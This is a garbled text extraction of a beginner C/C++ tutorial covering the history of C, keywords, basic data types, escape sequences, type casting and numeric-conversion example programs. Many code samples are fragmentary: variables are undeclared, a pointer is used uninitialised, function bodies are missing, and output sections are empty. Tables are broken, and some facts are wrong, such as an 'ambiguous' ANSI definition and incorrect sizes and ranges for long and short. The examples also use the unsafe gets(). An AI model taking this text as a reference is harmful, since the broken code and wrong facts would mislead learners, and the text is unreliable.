C++ Complete
C++ Complete
INTRODUCTION
Notes:
You can remove the system("pause"); and its stdlib.h header file (if applicable) in the program
examples. This code just to capture the console output for Borland C++ that was run through IDE. For Microsoft
Visual C++/.Net, Borland Turbo or running the program using Borland command line, gcc etc. no need to include
this code. For other compilers, please check their documentations.
Abilities
- C evolved from two previous languages, BCPL (Basic Combined Programming Language) and B.
BCPL was developed in 1967 by Martin Richards as a language for writing operating systems software
and compilers.
- Ken Thompson modeled many features in his language, B, after their counterparts in BCPL and used B
to create early versions of UNIX operating system at bell Laboratories in 1970 on a DEC® PDP-7
computer.
- Both BCPL and B were typeless languages, that means the only data type is machine word and access
to other kinds of objects is by special operators or function calls.
- In C, the fundamental data type includes characters, integers of several sizes and floating point
numbers.
- The derived data types were created with pointers, arrays, structures, unions, functions and classes.
- The C language was evolved from B by Dennis Ritchie at Bell Laboratories and was originally
implemented on a DEC PDP-11 computer in 1972.
- It was named C for new language.
- Initially, C used widely as the development language of the UNIX. Today, virtually all new major OS
are written in C.
- C is hardware independent, so it is portable to most computers without or with little code modification.
- The rapid expansion of C over various types of computers led to many variations. These are similar but
incompatible.
- So, a standard version of C was needed. In 1983, the X3J11 technical committee was created under the
American National Standards Institute (ANSI) Committee on Computer and Information Processing
(X3) to provide an ambiguous and machine-independent definition of the language and approved in
1989, called ANSI C.
- The document is referred to as ANSI/ISO 9899:1990.
- The second edition of Kernighan and Ritchie, published in 1988, reflects this version called ANSI C,
then used worldwide. The more general ANSI then adopted by ISO/IEC, known as ISO/IEC C.
- Because C is a hardware-independent, applications written in C can be run with little or no
modifications on a wide range of different computer systems.
1.2 Advantageous
- Powerful and flexible language - What can be achieved is only limited by your imagination. It is used
for Operating System, compilers, parsers, interpreters, word processors, search engine and graphic
programs.
- Portable programming language - C program written for one computer system (an IBM® PC, for
example) can be compiled and run on another system (a DEC® VAX System perhaps with little or no
modification).
- Is a language of less keyword - Handful of terms called keywords in which the language’s functionality
is built. A lot of keywords doesn’t mean more powerful than C.
www.tenouk.com Page 1 of 11
- Modular - Written in routines called functions and classes (C++), can be reused in other applications or
programs.
- Preferred by professional programmers - So, a variety of C/C++ resources and helpful supports are
widely available.
- Standardized – Many standards have been documented, maintained and updated for C and C++ as
standard references for solving the portability and many other issues (please refer at the end of this
tutorial).
- Computer program is designed to solve problem. Nowadays it makes ease a lot of our works.
- The simple steps to find a solution to problems are the same steps used to write a program and basically
can be defined as follows:
No Step Description
From a simple text editor up to complex Integrate Development
Environment (IDE). Examples:
UNIX: ed, ex, edit, emacs and vi.
Using an editor to Window OS: notepad, Microsoft Visual Studio/.Net®, Borland®
1
enter the source C++, Borland Turbo® C++, Borland Builder C++,
code BorlandX.
MSDOS®: editor.
OS/2®: E or EPM editor.
Computer can’t understand the roman alphabets like English words.
2 It only can understand machine language, 0’s and 1’s. The compiler
Using a compiler
perform this task, yields an object code (such as.obj or .o).
C/C++ has function library that contains object code (codes that has
been compiled) for predefined functions. These codes are ready to
be used and can be called in the main program such as printf()
3 Creating an function. They perform frequently needed tasks. Executable
executable file program can be run or executed. Before the executable program is
created, a program called linker (to link other object and library files
needed by the main program) performs a process called linking.
Running/executing Running the executable file/image. If there is no error, that is your
4
the program program! (a running program or a process).
Debug, debug and debug, finding program bugs, this is in debug
mode.
Alfa version - May still contains bugs, pre-release version.
Beta / RC, Release Candidate version - May still contains bugs, pre-
5 Debugging
release version.
Final release – Release mode or release/Retail version (in reality,
still have bugs:o)), but don’t worry Patches and Service Packs will
fix that.)
6 Release/Distribution Creating the installation program for distribution.
- Typically, these basic steps are illustrated in figure 1.1 and quite a complete story can be found in
Module W.
www.tenouk.com Page 2 of 11
- Most of the editor used nowadays called Integrated Development Environment (IDE) that combines the
process of compiling, linking, running, debugging, code validation, standard conformance and other
functionalities in one environment such as Borland® C++ Builder and Microsoft Visual
Studio®/.Net®.
- Keep in mind that there are other extensions for the C/C++ program other than the .c, .cpp and .h.
You have to check your compiler documentations or you can read the story in Module W of this
Tutorial.
- Bear in mind also the real program development actually consist of a team of programmers, system
analysts, project leader etc.
- Individually, how many lines of codes that we can write huh? So be real when you use this Tutorial for
learning C and C++ :o).
- C++ is a C superset was developed by Bjarne Stroustrup at Bell Laboratories (some call advanced C)
and the ANSI C++ (ISO/IEC C++) standard version is also already available.
- C++ provides a number of features that spruce up the C language mainly in the object-oriented
programming aspects and data type safety (which lack in C language). Though if you have studied the
C++, you will find that the type safety of the C++ also not so safe :o) actually the secure codes depend
on the programmers themselves (C++ discussed in Tutorial #3).
- Object are essentially reusable software components that model items in the real world.
www.tenouk.com Page 3 of 11
- Using a modular, object-oriented design and implementation, can speed up the program development
and make the same software development group, up to many times more productive than the
conventional programming techniques.
- Then, the evolution of the C++ continues with the introduction of the Standard Template Library
(STL). STL deal mainly with data structure processing and have introduced the using of templates.
From procedural programming to object oriented programming, STL has introduced generic
programming.
- Then we have Common Language Runtime (CLR) type of the programming language, something
like Java (through the Java Virtual Machine – JVM) and the equivalent one from Microsoft is C#.
- Let explore the basic structure of the C/C++ as shown in following section, before we proceed to the
next Module. Don’t worry about what the codes will do; just type or copy-paste and run the program.
- The program start with what is called preprocessor directive, #include.
- Then the main program start, with keyword main(), each program must have a main() function.
- All the coding is included in the body of the main program in the curly braces { } and } end the coding
for the program.
- Try all the sample programs given. Be familiar with the writing codes, compiling, running and your
IDE programming environment.
- Your task is to write the source code, compile and run. Notice that you only have to change some of
the codes in the curly braces { } and adding or deleting the preprocessor directive to complete all the
examples.
- Learn how to modify the program source code and re run the program. You will learn a lot more
things!
- Please refer to the Kick Start: Using Compilers section, in order to write, compile and run your Win32
Console Mode Application program using Borland® or Microsoft Visual Studio®/.Net® product or
whatever compiler you are familiar with.
Example #1
- For starting, first step we just create the program skeleton. Try to compile and run the simple program.
Make sure there is no error. Notice the line of code that span on multiple lines. Keep it on one line.
- Don’t worry about any syntax or standard violation; you will be prompted by your compiler through
warnings and/or errors :o).
- Keep in mind that, typing the codes, is dealing with character set, laid out on your keyboard whether it
is ASCII, EBCDIC, Unicode or proprietary character set :o).
- And C/C++ programs only deal with the characters, strings and mathematical expressions.
Output:
www.tenouk.com Page 4 of 11
- Next step we add other lines of code. Recompile and rerun.
cout<<"testing 1..2..3..\n";
//standard output - read from user input
cout<<"\nEnter the item's price: RM ";
//standard input - store user's input at variable price
cin>>price;
cout<<"\nEnter the item's quantity: ";
cin>>quantity;
Output:
Example #2
int main(void)
{
//normal variable and array with their respective data type
char name[10], name1[10], sex;
cout<<"\nEnter your first name (max 10 characters): ";
cin>>name;
www.tenouk.com Page 5 of 11
cout<<"\nEnter your sex (M or F): ";
cin>>sex;
Output:
Example #3
int main( )
{
/*variable named x and floating-point data type*/
float x;
/*standard output*/
printf("\nEnter one positive number (1, 2, 3. . .): ");
/*standard input*/
scanf("%f", &x);
Output:
Example #4
www.tenouk.com Page 6 of 11
#include <stdlib.h>
//main() function…
int main( )
{
//variables declaration
int x, y, z;
//variables initialization
//assign 20 to variable x…
//or put the value of 20 in memory location labeled by x
x = 20;
y = 2;
Output:
Example #5
int main(void)
{
//variables declaration
//variable names and type
float a, b, c;
//variables initialization
a = 2.0;
b = 5.0;
c = b / a;
Output:
www.tenouk.com Page 7 of 11
Example #6
int main(void)
{
float x, y, z;
Output:
- Previous program example compiled using VC++/VC++ .Net. You can discard the system("pause");
and its header file <cstdlib>.
int main(void)
{
float x, y, z;
www.tenouk.com Page 8 of 11
return 0;
}
Output:
- A programming language enforces a set of rules, symbols and special words used to construct a
program.
- A set of rules that precisely state the validity of the instructions used to construct C/C++ program is
called syntax or C/C++ grammar.
- The correctness of the instructions used to write C/C++ program is called semantics.
- These set of rules for instructions validity and correctness are monitored or guarded by the compilers.
- According to the C/C++ standard, only two definitions of main() functions are portable:
int main()
{
return 0;
}
- And
- Where:
- The following is a program example when you issue echo command at the command prompt.
www.tenouk.com Page 9 of 11
printf("\n");
return 0;
}
- Note that the return type int is required because the implicit int is deprecated.
- You may, but are not a mandatory to end main() function with a return statement. Unlike C, for
C++ the standard defines an implicit:
return 0;
void main()
{...}
void main()
{
return;
}
- The detail discussion of the main() and command line arguments is discussed in ModuleY and
Module 8, section 8.9.
- Steps needed to create a Windows portable executable (PE) file for empty Win32 console mode
application is explained HERE.
- The following example shows the compiling, linking and running a C program using gcc. For
complete commands and examples for gcc, gdb and g++ please refer to Module000. Other utility
and gdb can be found in Module111.
- Whenever needed, program examples compiled using gcc and g++ also included at the end of each
Module of this tenouk.com Tutorial and for this Module is shown in the following example.
//main() function.
int main( )
{
//variables declaration
int x, y, z;
//variables initialization
//assign 20 to variable x.
//or put the value of 20 in memory location labeled by x
x = 20;
y = 2;
www.tenouk.com Page 10 of 11
x / y = 10
x = x * y
y = y + y
New value for x / y = 10
z = 20 * (y / x) = 2
- Quite a complete gcc (GNU Compiler Collection), gdb (GNU Debugger) and Gas (GNU assembler)
commands and examples can be found in Module000 and Module111.
--------------------------------------------o0o-----------------------------------------------
3. For the use of the standard and non-standard header files with different compilers and mixing C and C++
codes and libraries, please refer to Module 23, mainly Section 23.3 and above. If you are a beginner, it is
better for you to read this chunk first.
www.tenouk.com Page 11 of 11
MODULE 2
PROGRAM STRUCTURE
AND BASIC DATA TYPES
Abilities
2.1 A Program
- C / C++ programs consist of functions, one of which must be main(). Every C / C++ program begins
execution at the main() function.
- The keywords used in C / C++ have special meaning to the compiler. The programmer can’t use these
words for identifiers such as variable names.
- The following table is a list of keywords used in ANSI C.
Keyword Description
An automatic storage class for automatic variable. Normally not explicitly
auto
used.
Used to force an immediate exit from while, for, do loops and switch-
break
case statement.
case A label used together with switch statement for selection.
char A single byte data type, capable holding one character in the character set.
A qualifier used to declare variable to specify that its value will not be
const
changed.
Related to break statement, causes the next iteration of the enclosing for,
continue
while or do loop to begin. Applies only to loops, not to switch statement.
An optional label used together with case label. When there is no case
default
expression matched, default label expression will be executed.
Used in do-while loop, repetition where the test condition is at the end of
do
the loop body.
double A double-precision floating point.
elif #elif. Preprocessor statement for else-if.
else Used together with if (if-else) for conditional execution.
endif #endif. Preprocessor statement for end-if.
Used in declaring enumeration constant. Enumeration is a list of constant
enum
integer values.
External storage class. External to all function or globally accessible variable.
extern
Variable declared with extern can be accessed by name by any function.
float Used when declaring floating-point data type.
for Used in the repetition loop.
goto A program control statement for branching/jumping to.
Used for conditional execution, standalone or with else. #if used for
if
conditional inclusion of the preprocessor directive.
ifdef #ifdef, if defined; test whether a name is defined.
ifndef #ifndef, if not defined; test whether a name is not defined.
int An integer data type, the size of normal integers.
A qualifier (long and short) applied to basic data types. short – 16 bits,
long
long-32 bits, int either 16 or 32 bits.
www.tenouk.com Page 1 of 29
Another storage class specifier. Used to advise the compiler to place the
register variables in machine’s processor register instead of machine’s memory but it is
not a mandatory for the compiler.
Used to return a value from the called function to its caller. Any expression
can follow return. The calling function is free to ignore the returned value
return
and can be no expression after return (no value is returned). For main(),
return will pass to system environment, operating system if there is no error.
A qualifier (long and short) applied to basic data types. short – 16 bits,
short
long-32 bits, int either 16 or 32 bits.
A qualifier may be applied to char or any integer. For example, signed
int. Including the positive and negative integers. For example, integer
signed
equivalent range for signed char is -128 and 127 (2’s complement
machine).
An operator. Shows the number of bytes (occupied or) required to store an
sizeof object of the type of its operand. The operand is either an expression or a
parenthesized type name.
A storage class specifier. Local variables (internal variables) that retain their
values throughout the lifetime of the program. Also can be applied to external
variables as well as functions. Functions declared as static, its name is
static
invisible outside of the file in which it is declared. For an external variables or
functions, static will limit the scope of that objects to the rest of the source file
being compiled.
A structure specifier for an object that consist a sequence of named members of
struct
various types.
Used in a selection program control. Used together with case label to test
switch whether an expression matches one of a member of case’s constant integer
and branches accordingly.
typedef Used to create new data type name.
A variable that may hold (at different time) objects of different types and
union
sizes. If at the same time, use struct.
A qualifier may be applied to char or any integer. For example, unsigned
unsigned int. Including the positive integers or zero. For example, integer equivalent
range for unsigned char is 0 and 255.
Data type that specifies an empty set of values or nonexistence value but
void pointers (pointers to void) may be assigned to and from pointers of type
void *.
A qualifier used to force an implementation to suppress optimization that could
volatile
otherwise occur.
while Used for conditional loop execution. Normally together with the do.
- The following table is a list of C++ keywords; most of the keywords will be used in Tutorial #2 and #3.
www.tenouk.com Page 2 of 29
false The Boolean value of "false".
Declare a function or class to be a friend of another class providing
friend
the access of all the data members and member function of a class.
Asking the compiler that certain function should be generated or
inline
executed inline instead of function call.
The mutable keyword overrides any enclosing const statement. A
mutable
mutable member of a const object can be modified.
namespace Keyword used to create a new scope.
Dynamically allocate a memory object on a free store, that is an
new extra memory that available to the program at execution time and
automatically determine the object's size in term of byte.
operator Declare an overloaded operator.
A class member accessible to member functions and friend
private
functions of the private member's class.
protected members may be accessed by member functions of
protected
derived classes and friends of derived classes.
public A class member accessible to any function.
Replaces casts for conversions that are unsafe or implementation
reinterpret_cast
dependent.
static_cast Converts types between related types.
template Declare how to construct class or function using variety of types.
A pointer implicitly declared in every non-static member
this function of a class. It points to the object for which this member
function has been invoked.
Transfer control to an exception handler or terminate program
throw
execution if appropriate handler cannot be located.
true The Boolean value of "true".
Creates a block that containing a set of statements that may
generate exceptions, and enables exception handling for any
try
exceptions generated (normally used together with throw and
catch).
typeid Gets run-time identification of types and expressions.
Used to qualify an identifier of a template as being a type instead of
typename
a value.
using Used to import a namespace into the current scope.
virtual Declare a virtual function.
wchar_t Used to declare wide character variables.
- One way to master C/C++ programming is to master the keywords and usages :o).
2.3 Identifiers
1. The first character of an identifier must be a letter, an underscore ( _ ) also counts as a letter.
2. The blank or white space character is not permitted in an identifier.
3. Can be any length. Internal identifier (do not have the external linkage) such as preprocessor
macro names at least the first 31 characters are significant, also implementation dependent.
4. Reserved words/keywords and characters such as main and # also cannot be used.
2.4 Variables
www.tenouk.com Page 3 of 29
- Initializing a variable means, give a value to the variable, that is the variable’s initial value and can be
changed later on.
- Variable name are said to be lvalue (left value) because they can be used on the left side of an
assignment operator.
- Constant are said to be rvalue (right value) because they only can be used on the right side of an
assignment operator. For example:
x = 20;
x is lvalue, 20 is rvalue.
- Note that lvalue can also be used as rvalue, but not vice versa.
- Notation used in C / C++ can be Hungarian Notation or CamelCase Notation. The information for
these notations can be found HERE.
int x, y, z;
short number_one;
long Type0fCar;
unsigned int positive_number;
char Title;
float commission, yield;
General form:
data_type variable_list;
Note the blank space.
int m, n = 10;
char * ptr = "TESTING";
float total, rate = 0.5;
char user_response = ‘n’;
char color[7] = "green";
int m, n;
float total, rate;
char user_response;
char color[7];
n = 20;
rate = 4.5;
user_response = ‘n’;
color = "green";
- Why we need to learn data types? Every variable used in program hold data, and every data must have
their own type. It is the way how we can ‘measure’ the variable’s data value as exist in the real world.
Further more by knowing the data range, we can use data efficiently in our program in term of memory
management (storage allocation) aspects.
- For example, no need for us to reserve a lot of storage space such as a long data type if we just want
to store a small amount of data, let say, int data type.
- Every data in C / C++ has their own type. There are basic data type and derived data type. This
Module deals with basic data type.
- There are two kinds of basic data type: integral (integer value) and floating (real number). char data
type classified in integral type.
- Derived data types will be presented in another Module. Derived data type including the aggregate
data type is constructed from basic data type such as arrays, functions, pointers, structures, unions and
other user defined data types. Basic data type (int, char and float) and their variation are shown
in Table 2.3. 2.4 and 2.5.
www.tenouk.com Page 4 of 29
Data type Keyword Bits Range
integer int 16 -32768 to 32767
long 32 -4294967296 to 4294967295
long
integer
short 8 -128 to 127
short
integer
unsigned 16 0 to 65535
unsigned
integer
character char 8 0 to 255
floating 32 approximately 6 digits of
float
point precision
double 64 approximately 12 digits
floating double of precision
point
- The following tables list the sizes and resulting ranges of the data types based on IBM PC compatible
system. For 64 bits, the size and range may not valid anymore :o).
www.tenouk.com Page 5 of 29
1.1104932 precision)
- We are very familiar with integer constants that are the base 10 numbers, 0 – 9. There are other bases
such as 16, 8 and 2 numbers that we will encounter when learning programming.
- Octal integer constants must start with 0 followed by any combination of digits taken from 0 through
7. For examples:
- Hexadecimal integer constants must start with 0x or 0X (capital hexadecimal) followed by any
combination of digits taken from 0 through 9 and uppercase letters A through F. For examples:
- The literal data-type qualifiers bring different means for same constant data. For example:
▪ 75 mean the integer 75, but 75L represents the long integer 75.
▪ 75U means the unsigned integer 75.
▪ 75UL means the unsigned long integer 75.
▪ 4.12345 mean the double value 4.12345, but 4.12345F represents the float value
4.12345.
- The backslash (\) is called an escape character. When the backslash is encountered, function such as
printf() for example, will look ahead at the next character and combines it with the backslash to
form an escape sequence, used in functions printf() and scanf().
- Table 2.6 is the list of the escape sequence.
- For general C++ escape sequences are given in the following table. Besides using the sequence, we
also can use their value representation (in hexadecimal) for example \0x0A for newline.
www.tenouk.com Page 6 of 29
\XH any H=a string of hex digits
2.7 Constants
- A character constant is any character enclosed between two single quotation marks (' and ').
- When several characters are enclosed between two double quotation marks (" and "), it is called a
string.
- Examples:
Character constants:
"Name: "
"Type of Fruit"
"Day: "
" "
- You will learn other aggregate or derived data type specifiers such as struct, union, enum and
typedef in other Modules or in the program examples.
- During the program development, you may encounter the situations where you need to convert to the
different data type from previously declared variables, as well as having mixed data type in one
expression.
- For example, let say you have declared the following variables:
- But in the middle of your program you encountered the following expression:
- This expression has mixed data type, int and float. The value of the average will be truncated, and
it is not accurate anymore. Many compilers will generate warning and some do not, but the output will
be inaccurate.
- C provides the unary (take one operand only) typecast operator to accomplish this task. The previous
expression can be re written as
- This (float) is called type cast operator, which create temporary floating-point copy of the total
operand. The construct for this typecast operator is formed by placing parentheses around a data type
name as:
- In an expression containing the data types int and float for example, the ANSI C standard specifies
that copies of int operands are made and promoted to float.
www.tenouk.com Page 7 of 29
- The cast operator normally used together with the conversion specifiers heavily used with printf()
and scanf(). C’s type promotion rules specify how types can be converted to other types without
losing the data accuracy.
- The promotion rules automatically apply to expressions containing values of two or more different data
type in mixed type expression. The type of each value in a mixed-type expression is automatically
promoted to the highest type in the expression.
- Implicitly, actually, only a temporary version of each new value (type) is created and used for the
mixed-type expression, the original value with original type still remain unchanged.
- Table 2.8 list the data types in order from highest to lowest type with printf and scanf conversion
specifications for type promotion
- From the same table, type demotion, the reverse of type promotion is from lowest to highest. Type
demotion will result inaccurate value such as truncated value. Program examples for this section are
presented in formatted file input/output Module.
- This issue is very important aspect to be taken care when developing program that use mathematical
expressions as well as when passing argument values to functions.
- C++ has some more advanced features for typecasting and will be discussed in Typecasting Module.
Modifier Description
l (letter ell) Indicates that the argument is a long or unsigned long.
L Indicates that the argument is a long double.
Indicates that the corresponding argument is to be printed as a short or
h
unsigned short.
- The following table is a list of the ANSI C formatted output conversion of the printf() function,
used with %. The program examples are presented in Module 5.
www.tenouk.com Page 8 of 29
Characters from the string are printed until ‘\0’ is reached or
s char * until the number of characters indicated by the precision has
been printed.
u int Unsigned decimal notation.
Unsigned hexadecimal notation (without a leading 0x or 0X),
x, X int
use abcd for 0x or ABCD for 0X.
% - No argument is converted; just print a %.
- The following table is a list of ANSI C formatted input conversion of the scanf() function.
Example #1
www.tenouk.com Page 9 of 29
int a = 3000; //positive integer data type
float b = 4.5345; //float data type
char c = 'A'; //char data type
long d = 31456; //long positive integer data type
long e = -31456; //long -ve integer data type
int f = -145; //-ve integer data type
short g = 120; //short +ve integer data type
short h = -120; //short -ve integer data type
double i = 5.1234567890; //double float data type
float j = -3.24; //float data type
Output:
Example #2
www.tenouk.com Page 10 of 29
cout<<"\n2. \"short\" int sample: \t"<<q;
cout<<"\n3. \"unsigned short int\" sample: "<<r;
cout<<"\n4. \"float\" sample: \t\t"<<s;
cout<<"\n5. \"char\" sample: \t\t"<<t;
cout<<"\n6. \"long\" sample: \t\t"<<u;
cout<<"\n7. \"unsigned long\" sample: \t"<<v;
cout<<"\n8. negative \"long\" sample: \t"<<w;
cout<<"\n9. negative \"int\" sample: \t"<<x;
cout<<"\n10. negative \"short\" sample: \t"<<y;
cout<<"\n11. unsigned \"short\" sample: \t"<<z;
cout<<"\n12. \"double\" sample: \t\t"<<a;
cout<<"\n13. negative \"float\" sample: \t"<<b<<endl;
system("pause");
}
Output:
Example#3
int main( )
{
float area, circumference, radius;
Output:
www.tenouk.com Page 11 of 29
Example #4
int main()
{
cout<<"Hello there.\n";
cout<<"Here is 7: "<<7<<"\n";
//other than escape sequence \n used for new line, endl...
cout<<"\nThe manipulator endl writes a new line to the screen.\n"<<endl;
cout<<"Here is a very big number:\t" << 10000 << endl;
cout<<"Here is the sum of 10 and 5:\t" << (10+5) << endl;
cout<<"Here's a fraction number:\t" << (float) 7/12 << endl;
//simple type casting, from int to float
cout<<"And a very very big number:\t" << (double) 7000 * 7000<< endl;
//another type casting, from int to double
cout<<"\nDon't forget to replace existing words with yours...\n";
cout<<"I want to be a programmer!\n";
system("pause");
return 0;
}
Output:
Example #5
int main()
{
/* this is a comment
and it extends until the closing
star-slash comment mark */
cout<<"Hello World! How are you?\n";
//this comment ends at the end of the line
//so, new comment line need new double forward slash
cout<<"That is the comment in C/C++ program!\n";
cout<<"They are ignored by compiler!\n";
//double slash comments can be alone on a line
/* so can slash-star comments */
/********************************/
system("pause");
return 0;
www.tenouk.com Page 12 of 29
}
Output:
Example #6
int main()
{
cout<<"The size of an int is:\t\t"<<sizeof(int)<<" bytes.\n";
cout<<"The size of a short int is:\t"<<sizeof(short)<<" bytes.\n";
cout<<"The size of a long int is:\t"<<sizeof(long)<<" bytes.\n";
cout<<"The size of a char is:\t\t"<<sizeof(char)<<" bytes.\n";
cout<<"The size of a float is:\t\t"<<sizeof(float)<<" bytes.\n";
cout<<"The size of a double is:\t"<<sizeof(double)<<" bytes.\n";
cout<<"The size of a bool is:\t\t"<<sizeof(bool)<<" bytes.\n";
system("pause");
return 0;
}
Output:
Example #7
int main()
{
unsigned short int Width = 7, Length;
Length = 10;
cout<<"Width:\t"<<Width<<"\n";
cout<<"Length: "<<Length<<endl;
cout<<"Area: \t"<<Area<<endl;
system("pause");
return 0;
}
Output:
www.tenouk.com Page 13 of 29
Example #8
int main( )
{
int n;
int total, rate= 20;
Output:
Example #9
int main()
{
cout<<"For integer number from 32 till 127,\n";
cout<<"their representation for\n";
cout<<"characters is shown below\n\n";
cout<<"integer character\n";
cout<<"-------------------\n";
for (int i = 32; i<128; i++)
//display up to 127...
cout<<i<<" "<<(char) i<<"\n";
//simple typecasting, from int to char
system("pause");
return 0;
}
Output:
www.tenouk.com Page 14 of 29
- Boolean, bool is a lateral true or false. Use bool and the literals false and true to make Boolean logic
tests.
- The bool keyword represents a type that can take only the value false or true. The keywords false and
true are Boolean literals with predefined values. false is numerically zero and true is numerically one.
These Boolean literals are rvalues (right value); you cannot make an assignment to them.
- Program example:
int main()
{
bool val = false; // Boolean variable
int i = 1; // i is neither Boolean-true nor Boolean-false
int g = 5;
float j = 3.02; // j is neither Boolean-true nor Boolean-false
//Tests on integers
if(i == true)
cout<<"True: value i is 1"<<endl;
if(i == false)
cout<<"False: value i is 0"<<endl;
if(g)
cout << "g is true."<<endl;
else
cout << "g is false."<<endl;
www.tenouk.com Page 15 of 29
val = func();
if(val == false)
cout<<"func() returned false."<<endl;
if(val == true)
cout<<"func() returned true."<<endl;
system("pause");
return false;
//false is converted to 0
}
Output:
Example #10
int main()
{
Output:
www.tenouk.com Page 16 of 29
Example #11
#include <stdio.h>
#include <stdlib.h>
int main()
{
int num;
printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();
printf("Character Integer Hexadecimal Octal\n");
while(getchar() != EOF)
{
printf(" %c %d %x %o\n",num,num,num,num);
++num;
}
system("pause");
return 0;
}
Output:
Example #12
#include <stdio.h>
#include <stdlib.h>
www.tenouk.com Page 17 of 29
void dectobin();
int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}
void dectobin()
{
int input;
printf("Enter decimal number: ");
scanf("%d", &input);
if (input < 0)
printf("Enter unsigned decimal!\n");
Output:
Example #13
#include <stdio.h>
#include <stdlib.h>
/*for strlen*/
#include <string.h>
www.tenouk.com Page 18 of 29
/*convert bin to decimal*/
void bintodec()
{
char buffbin[100];
char *bin;
int i=0;
int dec = 0;
int bcount;
i=strlen(bin);
for (bcount=0; bcount<i; ++bcount)
/*if bin[bcount] is equal to 1, then 1 else 0 */
dec=dec*2+(bin[bcount]=='1'? 1:0);
printf("\n");
printf("The decimal value of %s is %d\n", bin, dec);
}
int main(void)
{
bintodec();
return 0;
}
Output:
Example #14
char choice1;
char choice2;
/* numtest, value to test with, and pass to functions*/
int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;
int flag;
flag = 0;
go = 'y';
www.tenouk.com Page 19 of 29
do
{
printf("Enter the base of ur input(d=dec, h=hex, o=octal): ");
scanf("%c", &choice1);
getchar();
printf("\n");
printf("The entered Number: ");
/*If decimal number*/
if ((choice1 == 'd') || (choice1 == 'D'))
{
scanf("%d", &numtest);
getchar();
}
/*If hexadecimal number*/
else if ((choice1 == 'h') || (choice1 == 'H'))
{
scanf("%x", &numtest);
getchar();
}
/*If octal number*/
else if ((choice1 == 'o') || (choice1 == 'O'))
{
scanf("%o", &numtest);
getchar();
}
/*If no match*/
else
{
flag = 1;
printf("Only d, h or o options!\n");
printf("Program exit...\n");
exit(0);
}
printf("\n\nAn OPTION\n");
printf("=========\n");
printf("Do you wish to do the binary to decimal conversion?");
printf("\n Y for Yes, and N for no : ");
scanf("%c", &binY);
getchar();
/*If Yes...*/
if ((binY == 'Y') || (binY == 'y'))
/*Do the binary to decimal conversion*/
bintodec();
/*If not, just exit*/
else if ((binY != 'y') || (binY != 'Y'))
{
flag = 1;
printf("\nProgram exit...\n");
exit(0);
}
www.tenouk.com Page 20 of 29
printf("\n\n");
printf("The program is ready to exit...\n");
printf("Start again? (Y for Yes) : ");
scanf("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;
if ((ch == 'd') || (ch == 'D'))
printf("\nThe number \"%d\" in decimal is equivalent to \"%d\" in
decimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%d\" in
decimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%d\" in
decimal.\n", ans, ans);
}
/*======================================================*/
void hexadecimal(char *hexa, int *hexares)
{
int ans = *hexares;
char ch = *hexa;
if ((ch == 'd') || (ch == 'D'))
printf("\nThe number \"%d\" in decimal is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
}
/*========================================================*/
void octal(char *octa, int *octares)
{
int ans = *octares;
char ch = *octa;
if ((ch == 'd') || (ch == 'D'))
printf ("\nThe number \"%d\" in decimal is equivalent to \"%o\" in
octal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%o\" in
octal. \n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%o\" in
octal.\n", ans, ans);
}
void bintodec(void)
{
char buffbin[1024];
char *binary;
int i=0;
int dec = 0;
int z;
printf("Please enter the binary digits, 0 or 1.\n");
printf("Your binary digits: ");
binary = gets(buffbin);
i=strlen(binary);
for(z=0; z<i; ++z)
/*if Binary[z] is equal to 1, then 1 else 0 */
dec=dec*2+(binary[z]=='1'? 1:0);
printf("\n");
www.tenouk.com Page 21 of 29
printf("The decimal value of %s is %d", binary, dec);
printf("\n");
}
Output:
Example #15
www.tenouk.com Page 22 of 29
{
/* Yes or No value to continue with program */
char go;
char choice1;
char choice2;
/*numtest, value to test with, and pass to functions*/
int numtest;
/*value to convert to binary, and call decnumtobin function*/
int bintest;
int flag;
flag = 0;
go = 'y';
do
{
printf ("Enter the h for hex input: ");
scanf("%c", &choice1);
getchar();
printf ("\n");
printf ("Enter your hex number lor!: ");
printf ("\n\n");
printf ("The program is ready to exit...\n");
printf ("Start again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf ("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;
www.tenouk.com Page 23 of 29
printf ("\nThe number \"%X\" in hex is equivalent to \"%d\" in
decimal.\n", ans, ans);
}
Output:
Example #16
int main()
{
/*Program continuation...*/
char go;
www.tenouk.com Page 24 of 29
go = 'y';
do
{
printf("Playing with hex and ASCII\n");
printf("==========================\n");
printf("For hex, 0(0) - 1F(32) are non printable/control
characters!\n");
printf("For hex > 7F(127) they are extended ASCII characters that
are\n");
printf("platform dependent!\n\n");
printf("Enter the hex input: ");
scanf("%x", &numtest);
getchar();
decimal (&numtest);
printf("\nStart again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}
/*===================================================*/
void decimal(int *decires)
{
int ans = *decires;
/*If < decimal 32...*/
if(ans < 32)
{
printf("hex < 20(32) equivalent to non printable/control ascii
characters\n");
switch(ans)
{
case 0:{printf("hex 0 is NULL ascii");}break;
